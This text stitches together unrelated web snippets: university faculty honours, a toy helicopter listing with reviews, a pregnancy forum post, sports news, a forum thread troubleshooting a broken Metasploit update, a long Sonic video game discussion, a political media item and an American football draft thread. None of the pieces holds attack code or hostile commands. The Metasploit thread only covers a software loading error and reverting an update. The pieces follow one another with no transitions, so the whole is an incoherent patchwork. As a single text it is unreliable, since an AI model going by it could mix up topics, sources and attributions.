Dr. Nicholas Vazsonyi, a professor of German studies in the department of languages, literatures and cultures, will join the advisory board of The Wagner Society of New York, a prestigious group of scholars specializing in composer Richard Wagner. The honor builds on his achievements as one of the top Wagner scholars in the United States. Last year, his book, "Richard Wagner: Self-Promotion and the Making of a Brand," was published by Cambridge University Press. He also is editor of the "Cambridge Wagner Encyclopedia," a massive project to be completed in 2013 in connection with the bicentennial of Wagner's birth.
USC Darla Moore School of Business labor scholar honored for career contributions
Dr. Hoyt N. Wheeler, a distinguished professor emeritus of management in the Darla Moore School of Business, has been elected a fellow of the Labor and Employment Relations Association.
The LERA's Fellows Award recognizes scholars and practitioners who have made exceptional contributions to the field and have been in the profession for more than 10 years. Wheeler, an expert in labor and employment law and labor relations, has written several books on labor unions, most notably "The Future of the American Labor Movement" (2002). He is a former Fulbright scholar, a former president of the Industrial Relations Research Association and a member of the National Academy of Arbitrators.
A distinguished University of South Carolina scholar, Wheeler has a doctoral degree in industrial relations from the University of Wisconsin and a juris doctorate from the University of Virginia.


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This is the remote controlled helicopter that can fly upside down. Its two pairs of contra-rotating coaxial main rotors unclip easily from each swash plate--when inverted and reattached, the rotors provide the same amount of lift and gyroscopic inertia to keep the helicopter balanced for up/down and left/right flight. A switch on the infrared remote eliminates both the need to reverse joystick directions or remove the horizontal tail rotor, which spins to pitch the nose up or down for forward and backward flight. The helicopter can also fly conventionally by keeping the rotors in their original configuration. Its rechargeable battery provides seven-minute flight times from a 50-minute charge using either the remote or a computer using the included USB cable. Indoor use only. Requires six AA batteries. Ages 12 and up. 7 1/2" L x 7" W x 4 1/2" H. (1 oz.)
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This was a gift for my husband. We are having a blast with it. Flies like it is supposed to, even our dogs like this helicopter!
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Was skeptical at first given a previous experience with another manufacturer, but this product has exceeded my expectations. It's extremely durable as I've accidentally crashed it a few times, but it's gotten easier and easier to operate. I have not tried to fly it upside down, yet. But, upside down flying wasn't the primary reason I made the purchase. It was primarily Hammacher Schlemmer name backing the product and the price.Very happy with the purchase and would recommend to anyone.
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Hey ladies- I know we all haven't caught up in awhile. How is everyone? I know a couple siblings have been born- so you ladies show them off!
What about the rest of us- and the ones that just found out they are having another...
I am 21 weeks today- found out just before Christmas we are having a boy- Bryce Michael. I am doing really good, getting some energy back. I think nesting is setting in- I am driving DH (dear husband) crazy! I never really nested with Danika- so I think I am making up for that!
Here I am at 21 weeks- anyone else have belly shots?


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'Satan had said he wanted to be the highest paid player on the Sabres roster and was reportedly looking for $5 million a season. Acquired from the Edmonton Oilers in 1997, Satan has led the Sabres in goal scoring the last five seasons.'
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text: The Cralle Student Union Building is the hub of social activity on campus. Known as the "SUB," it is the central meeting place of students, faculty, and staff. The SUB houses several offices vital to students and staff: the Service Center is the central office for mail and phone services on campus; Public Safety and Security; Student Activities, and Student Government Association. Students and staff can meet in the Block & Barrel Café for light refreshments and socializing. The campus game room and TV areas are favorite place for students to enjoy a break from study.


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I think that this is solely a 11599 error, as my console started crashing after I ran the update this evening. If you hear anything, keep us posted.
I have BT4 r2 loaded on a USB with persistence enabled. Persistence is working fine. Wanted to update metasploit did a:
cd /pentest/exploits/framework3
Directory changed properly, then did a:
svn update
loaded new updates brought version up to 11599
then tried a ./msfconsole, got this error
`gem_original_require': no such file to load --
msf/base/sessions/scriptable (LoadError)
from /usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:29:in
from /opt/metasploit3/msf3/lib/msf/base/sessions/command_shell.rb:2
from /usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:29:in
from /usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:29:in
from /opt/metasploit3/msf3/lib/msf/base.rb:29
from /usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:29:in
from /usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:29:in
from /opt/metasploit3/msf3/lib/msf/ui/console/driver.rb:2
from /opt/metasploit3/msf3/lib/msf/ui/console.rb:10:in `require'
from /opt/metasploit3/msf3/lib/msf/ui/console.rb:10
from /opt/metasploit3/msf3/lib/msf/ui.rb:10:in `require'
from /opt/metasploit3/msf3/lib/msf/ui.rb:10
from /usr/local/bin/msfconsole:111:in `require'
from /usr/local/bin/msfconsole:111
Did a:
gem update --system
Also did a:
apt-get update
apt-get upgrade
Still no love.
I think that this is solely a 11599 error, as my console started crashing after I ran the update this evening. If you hear anything, keep us posted.
Got room in that boat?
It appears to me that the path /opt/metasploit3/msf3/lib/msf/base/sessions/scriptable does not exist and is called in the custom_require.rb on line 29. I'm not sure how it's populating the variable "path" in custom_require.rb. The comments say:
EDIT:# When RubyGems is required, Kernel#require is replaced with our own which
# is capable of loading gems on demand.
# When you call <tt>require 'x'</tt>, this is what happens:
# * If the file can be loaded from the existing Ruby loadpath, it
# is.
# * Otherwise, installed gems are searched for a file that matches.
# If it's found in gem 'y', that gem is activated (added to the
# loadpath).
# The normal <tt>require</tt> functionality of returning false if
# that file has already been loaded is preserved.
command_shell.rb calls require 'msf/base/sessions/scriptable' which doesn't exist
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don't worry about me I am msfconsole retarded
I have the same problem, I shouldn't have done the update
edit: so i reverted back to previous revision
# svn up -r 11598
Last edited by SecureSurfer; 01-18-2011 at 09:59 PM.
I also have the same problem!
Same problem
# svn up -r 11598 worked for me
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Sorta tempted by the classic Sonic games... but £1.99 each is still too much for me considering I could just dig out my Mega Drive if I really want to replay them.
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Sorta tempted by the classic Sonic games... but £1.99 each is still too much for me considering I could just dig out my Mega Drive if I really want to replay them.
That Sonic 4 port is actually kind of horrible, don't buy it.
Buy Sonic CD and let Sega know what you really want. :P
I was gonna say, I saw the post on Sonic Retro. Here's one of the reasons you probably shouldn't get Sonic 4. Yeeeeow.
I partially wish I wasn't going out so I could sit back with CD, but nevermind. I have tomorrow off.
Well, Sonic CD is swell enough. Don't really feel really enamoured by it but I never expected to either - the 2D stuff just doesn't have the same impact for me anymore, especially without the nostalgia bonus as this is the first time I've actually properly played SCD. Level design's quite confusing, especially Metallic Madness act II, bloody hell. Still, I can now say I've finally played this part of Sonic history, and I'll probably continue playing it every now and then when I feel like a quick platformer fix.
Playable Tails is fantastic. Always is. Plus I have to give major credit to them for including both soundtracks (as I far prefer the US one).
And regardless, no matter what - that intro cinematic with Sonic Boom is always really, really awesome and one of my favourite Sonical things.
So for the last few days I've been playing Sonic Adventure (which I bought before it went on sale, of course), and have gotten to the Big the Cat section. I hate Big the Cat. I almost wanted to mark the game completed, but I have to beat Chaos 7. The fishing mechanic is awful, and for some reason SEGA thought it was appropriate to openly mock Down's Syndrome.
Not in good taste, SEGA. Not in good taste at all.
The fishing's rather out of place, but I always found it too easy to actually become a burden (plot-wise anyway, the big fish you need for emblems can be rather tedious).
I mean it takes me a few minutes just to hook the damned frog. I must be doing it wrong. Trying both the action and jump buttons when he bites, or either one by themselves. Most of the time it doesn't register as an actual byte, that might be where I'm messing up, but I don't know what I'm doing wrong.
Yes, Big the Cat is an abomination that never should've existed. But other than that, SA1 is a pretty nice game. And hey, it has Gamma!
Edit: Sorry, hadn't seen this:
And the stuttering isn't a problem of your PC, it's just badly ported. Of course, if you're packing a powerhouse you won't notice, but still, that's a stutter that shouldn't be there.
For 5€ I might buy it anyway, though; it's a bad port, but the game itself is damn nice. Pity of a lack of online.
Supposedly it has split-screen, so that may interest you.
Looking at Steam's Top Sellers, Sonic Generations is 2nd only behind Skyrim, although I imagine that'll change over the weekend, whilst 4 is 9th and CD is 12th. All I'll say is, all those people buying 4, and there are clearly many, are going to be bitterly disappointed. At least we've already got a basic texture mod out for it. Can't be too long till Episode 1 - Fixed Edition, is available, at this rate.
As for CD itself, I don't think it's as good as 2 or 3&K, but it is still a good game and I really feel the exploration element of it. I was playing the last few levels of Sonic 1 last night (I'm glad the emulation of it on Steam still allows for Up, Down, Left, Right, A+Start) and forgotten how bloody hard it gets and then thinking how it too is maybe a little worse than CD. Regardless, it is a helluva lot better than playing it on my iPod Touch. The special stages are actually doable for starters.
Sonic Generations is the first Sonic game I've played "for real" (I've messed around with the first Sonic game a few times, but never doing more than the first couple levels). And I love it.
I'm looking at Sonic Adventure DX in the Steam sale. Would you recommend it? Is it a good port? Is it a good game?
I don't know about the port but it's certainly a very good game. It's aged and due to being an early 3D platformer it's somewhat mechanically wonky here and there + the Big the Cat sections are always going to be something that's going to cause ire for the vast majority of people, but beyond those it's still a solid, fun platforming experience. Mind you, it doesn't really play like Modern Sonic in Generations - that style was introduced by Unleashed, and SA is very much a platformer in the traditional sense. Sonic's equivalent of Mario 64.
Plus it's cheap as hell atm so might as well go for it. IMO it should be a part of every Sonic fan's general knowledge.
In Sonic CD related things, I've been playing it as Tails today and it somehow makes the game much more fun. The flying skill, while a bit gamebreaking, is definitely better than Sonic's pointless second boost. Just a shame that the achievements won't unlock if you play as him.
I'm under the impression it is not a good port. I think it's mentioned elsewhere in this thread too, can't remember though (shouldn't take too long to look through though). As for the rest, I think it's alright, but not quite enough. Personally, I'd stick to the 2D games (excluding 4, for the love of god) until Unleashed or Colours come to the PC. That'll never happen (outside of mods and Dolphin emulation, but still). Glad you enjoy Generations though!
Sega are starting to tease out a little more for Sonic 4. If you have Facebook, you can look at a 'new' enemy that seems to look a touch like one in CD...while also sporting a Pokéball.
Talking about Sonic 4, this video has been doing the rounds. It's entertaining, at any rate.
The port is ok. Nothing stellar, but it works.
The game isn't just wonky here and there, it's an enormous mess of wonkyness. It's good, though, I really like it, but the mechanics tend to go fubar way too often; I remember back in DC I managed to break out of the world way too many times by abusing the mechanics. Fun times.
But yeah, it's cheap as hell, and overall it's a pretty nice game.
Just put an hour into Sonic 4 (and almost finished it, wow it's short). The physics... or lack of in that game is so strange. Something about the level design annoys me too but I can't quite put my finger on it. Oh and I absolutely despise Sonic's design in that game, but that's a personal preference. Overall it seems an alright game, maybe something I would've liked a lot more if I had played it before Generations.
Haven't played Sonic CD yet. I figured it would take more time than 4 so I thought I'd tackle 4 first. Plus save the best for last, right?
It seems barmy to me that they could release Episode 4 knowing what Generations had in store for a 2D perspective Sonic. How could they possibly measure them up and look at 4 and go "Yup, this'll be fine!" Bonkers. The level design problem for me was that paths felt quite restricting, at times, especially because you seemed to be following this automated path of springs and speeder-pads for seconds on end, where you feel you don't really do anything. Even if there are similar elements to this in the original 2D titles, it's usually because you've set it in motion, like building up momentum to roll through a small section. Here it's hit one thing then be taken to the next section of the level rather than getting there yourself.
Of course the main issue with that post is admitting you bought Sonic 4 :P
The game is okay, I'd say worth the $5. My complaints are 1/3 of the characters (Big and Amy) are not fun, the music is very corny and the voicework is laughable. I love it because it reminds me of playing Dreamcast, which was by far my favorite console.
characters (Big and Amy) are not fun
I know you mean "playable" characters here, but this just reminded me one of my favorite little touches in Generations is how when you rescue one of Sonic's friends and he/she/it says a few lines of silly dialogue that is supposed to convey their personality. And then most of the time Sonic will roll his eyes at the character even harder than I just did. Or better yet, gives them a sarcastic-looking thumbs-up.
The story was written by the same people who did Colo(u)rs on the Wii (and were the same people who did the script for MadWorld). They were clearly capped by the intentions of the game, but if you wanted to get a fuller experience of that, you could try Colours if you have access to it. It's Modern Sonic only, but the majority of the game is spent in 2D and for many, it just edges out Generations.
I have the disc version of SADX myself, and I was wondering if there was any way to get it working properly on Windows 7. The internet doesn't seem clear on this sadly :(
*Unfortunately I still haven't gotten my hands on Colours. Are the Wii and 360 versions the same? And if they differ is one better?


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At the beginning of the season, it was supposed to be top 10 prospect Travis d'Arnaud who headlined the Triple-A Las Vegas lineup.
With d'Arnaud sidelined since mid-April with a fractured foot, it's been another Mets prospect who's quietly stolen the show for the 51s.
Wilmer Flores produced another multi-hit game Friday night, going 3-for-5 with four RBIs and falling a triple shy of the cycle as Las Vegas pulled away for a 12-5 triumph over Tacoma.
The 21-year-old second baseman has been on a roll in the Pacific Coast League. Starting with a 2-for-4 afternoon against Salt Lake on May 23, he's hit .397 (23-for-58) in his last 14 games to raise his average 34 points to .299.
"He's getting better, for sure. He's become much more consistent, probably over this last month," said 51s manager Wally Backman, a former Mets infielder. "I don't know what his average is, but I know it's climbed a bit. He's drove in some big runs. He's waiting for better pitches at the plate, getting better pitches to hit."
Flores has assumed much of the run production role the 51s were expecting from d'Arnaud. The Mets' seventh-ranked prospect is slugging .478 and ranks fourth in the PCL with 44 RBIs in 57 games.
Overall, Flores has a .299/.340/.478 line after hitting .300/.349/.479 last season between Class A Advanced St. Lucie and Double-A Binghamton. He also totaled 18 homers and 75 RBIs in 130 games a year ago, paving the way for his ascent to the PCL.
Backman said he thought it was that knack of thriving in the middle of the lineup that will carry Flores to the next level.
"I think he's a run producer, he knows how to drive in runs," the manager said. "When you look at the overall package, this kid's on pace to drive in over 100 runs and he's only 21. If he projects out, continues to get better the next year or two, I think the bat's gonna play [in the Majors]."
At 6-foot-3 and 190-pounds, there's been some question as to whether Flores ultimately will be too big to handle a position like second second base. So far, Backman added, he's continuing to make progress.
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In the wake of Weekly Standard editor and Fox News contributor Bill Kristol calling out Glenn Beck for his "hysteria" over Egypt, prominent conservatives have been choosing sides.
Beck has responded by lashing out at critics -- including telling people that call him "crazy" because of his New World Order theory to "go to hell" -- and wrongly insisting that articles in the New York Times and Wall Street Journal have proven him right.
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WorldNetDaily's Jerome Corsi, whose love for conspiracy theories leads him to say things like Obama "has stolen the identity of a natural born citizen" and is "using someone else's Social Security number," said that he and WND have "supported Glenn Beck" and that "Glenn Beck is right on it." Corsi referenced a piece by fellow WND writer Aaron Klein, in which Klein wrote that he was "compelled to join Glenn Beck's side":
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The Wall Street Journal's Stephen Moore was unfamiliar with the Kristol/Beck split, but explained that he is "good friends with Glenn," and that he "think[s] Glenn's is great." He added that "next to Rush Limbaugh, Glenn Beck is the most important conservative":
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Posted: Sat Oct 27, 2012 2:12 pm
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Overall, I like it. My favorite pick is obviously Klein in the 3rd, as I have stated my mancrush on him in the draft prospects thread.
And when you look at his stats, several pop out at you, particularly the number of total tackles he has in his career and that he's
scored 4 TDs
in 3.5 seasons. I think he compares pretty favorable to someone like Chad Greenway, albeit without the pass rush skills.
With that in mind, I'm not entirely sure he gets to the end of the 3rd, so in your draft scenario, it probably would be an either/or choice in round 2 between him and Mauti. Of those 2, Klein has produced more, played more pass defense, and is a little thicker, so he would be my choice.
I would also like to get a S prospect a little earlier than you have us selecting one here, and maybe an OL who isn't 2-3 years away from at least being competent backup...I'm jaded by the Harewood (and possible Gradkowski) experiment, and would prefer someone more NFL ready even if it means sacrificing a little upside down the road.
I haven't seen AJ Klein play, so I can't exactly argue against your logic for him as your choice... and clearly he's been a playmaker, but I will say that Klein has better stats because Mauti has torn his ACL twice in his collegiate career... if anything that might be my biggest reason with choosing Klein if he looks as good as Mauti on tape (which will be hard to compete with, Mauti looks comparable to Luke Kuechly's tape in terms of technique/instincts).
But Klein was ranked #7 on Scott Wright's ILB list and #6 on nfldraftscout. To put that into perspective, the #6 ILB in the 2012 NFL draft went late 3rd (23 picks in to Steelers) and the 7th pick went early 4th (10 picks in to the Bills). In the 2011 draft they were taken late 3rd to the Bucs and Falcons (20 and 27 picks in). So AJ Klein being available in the late 3rd according to the current projections, wouldn't be unreasonable to assume. He could be taken much higher by a team that falls in love with him ala Derek Wolfe to the Broncos in the early to mid 2nd (IIRC), but generally speaking he should be around. And more than that, making a move to trade up and get him might not be a bad deal either. We should have plenty of compensatory picks coming our way apparently.
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If Jordan was any more of a sure-thing he wouldn't get past the top 10 picks. Picking where the Ravens likely will be there is almost always going to be some question marks about a pass-rusher that drops that far. The biggest thing with Jordan is his physicality but he definitely has the frame to add some muscle and I don't think it would affect his athleticism too much. Not only would he be able to spell Upshaw and give the team some different looks but he would be able to give Suggs some snaps off too. He just turned 30 and he's been in the league for quite a while. I wouldn't count on Suggs performing at a consistently high level for too much longer.
Agree completely. This is also exactly what I meant with the Jimmy Smith comment. Not often are you going to find 6'2" 210 lbs lockdown corners with low 4.4 speed and great hips at the collegiate level that fall to the late 1st round. But we did and we pounced. With Dion Jordan it's the same thing. Not often are you going to find an elite H-W-S specimen with his kind of versatility lasting until the late 1st (might not even happen IRL), but if it happens, the Ravens have to pounce.
You're right about Suggs needing to get more of a breather as well. And most importantly, I think securing Jordan is important because really we've been throwing multiple picks at that position for years to no true avail. We went after Kruger, Kindle, and Upshaw... and of that list only Kindle possessed potential similar to Jordan... only Jordan is like a taller/longer version.. possessing similar, if not faster, speed off the edge. Even with Suggs we've sorely been missing that explosive pass rusher that can really put pressure on OTs with his burst. Suggs is a great pass rusher because of his great technique and power, but he's not an elite physical specimen. Jordan would finally provide us with that "burst rusher" edge threat we've been lacking since Adalius Thomas... and that we also had with Michael McCrary and Peter Boulware.
A player of Jordan's skillset should only make Suggs more effective. And really, to get our best players on the field, it wouldn't surprise me at all if we decided to go with a 43 base like I mentioned above. I mean a front 7 of:
----------Upshaw------ Mauti ------- Klein
Suggs----- Ngata ----- Vellano ----- Jordan
With Cody, McClain, Kindle (DE), McClellan, and Tyson being some of the key reserves for our front 7 unit.
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I considered the possibility of adding another corner, but there was never a case until later in the draft where I felt a corner was going to be in the BPA category... and we just selected Chykie Brown and Asa Jackson as late round corners who we hope can develop into key contributors for us... and so far, Brown has looked pretty good. And earlier in the draft... I had to keep reminding myself that our corner play should only improve with Smith getting more experience playing. It's still too early to give up on his potential... he sat out most of his rookie season due to a high ankle sprain... and he came into the NFL coming from a strict press-man system... most of his struggles have been in regards to double moves coming off of playing in off-man coverage... Smith is still very much a work-in-progress.. experience will be the best teacher. No corner that we take is likely going to improve our current situation.
Hopefully Chykie Brown keeps improving, and I'd like to see Asa Jackson get a look in before the season ends. I do have high hopes still for Smith, but I'm not convinced Cary Williams is anywhere near good enough. Perhaps it's the system Pees is asking him to play, but if so, the Ravens need to address that.
One thing I've been thinking about for a while, and seems perhaps more worthy of consideration now, is the idea of converting Webb to Safety after Ed retires. Previously, it seemed crazy because of Webb's abilities at corner, but with both knees surgically reconstructed, it might benefit him in the long run. And if Smith, Brown, Graham and Jackson could prove themselves to be a good CB group over the next eight months or so, I think it's something that the Ravens might look at. Webb and Ed Reed are about the same size, have a lot of similar qualities and definitely know how to get to the ball.
That would remove the need to find a Safety in the draft, because Christian Thompson will hopefully be able to understudy for Pollard, and eventually replace him.
I wouldn't be against this idea of moving Webb to safety, but that's only if our current cast of corners can look good on the boundary before Webb returns. It would also have to be a situation where Reed decides to hang them up. Because if Reed returns and Webb is healthy, our best starting 4-5 will include Reed at FS... so Webb will have to play corner. But if Reed decides to retire (or go ring searching with some other championship contender... which wouldn't surprise me) then moving Webb to safety on 1st/2nd down... and then pushing him into the nickel on 3rd down with say.. Christian Thompson coming in to play safety... might be an ideal scenario. Webb would see less shifting of his gears playing only part time corner when we go to nickel, but otherwise playing safety. So it could provide the best of both worlds.
But again, that assumes that Reed leaves and we have reliable boundary corners we could plug into the starting lineup.
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Dion Jordan has been pretty efficient as a pass rusher. He plays the drop-end position for the Oregon Ducks... which is perhaps one of the most versatile defensive positions in any defensive scheme at any level... not many players can excel at it.. and especially excel at it at the same level that Jordan has been able to. I'm not quite sure what you mean by "surefire pass rusher" but Jordan has all the tools to be elite in a system that utilized him as a strict pass rusher. Consider that he's only rushing the passer maybe... 70% as much as some of the other DEs in college football... his 5 sacks aren't going to look as eye-popping as some (heck, even then, a guy like Mingo rushes the passer more than Jordan, yet has two less sacks), but when he's rushing the passer he's very effective in getting to the QB.
Yeah, I like Jordan a lot, but what I mean by "surefire pass rusher" is a guy who has more pass rush moves than just a speed rush. I honestly didn't watch all of that tape, but, from what I saw, he didn't seem to have many moves or violent hands (which is something I like from a pass rusher and what I liked from Bruce Irvin moreso than just his 40 time). In the NFL, I feel like he's going to get shut down if he's just going to try and run around the tackle every time. You say he's active on tape, which he is, but he doesn't seem that active engaging the blocker. That kind of worries me because he could just be a guy who benefits from being the best athlete on the field in college and when he makes it to the pros he won't be nearly as effective. That being said, if I got to interview the guy and he seemed like a hard worker, I would probably take a chance on him developing some pass rush moves because he certainly has more than enough natural ability.
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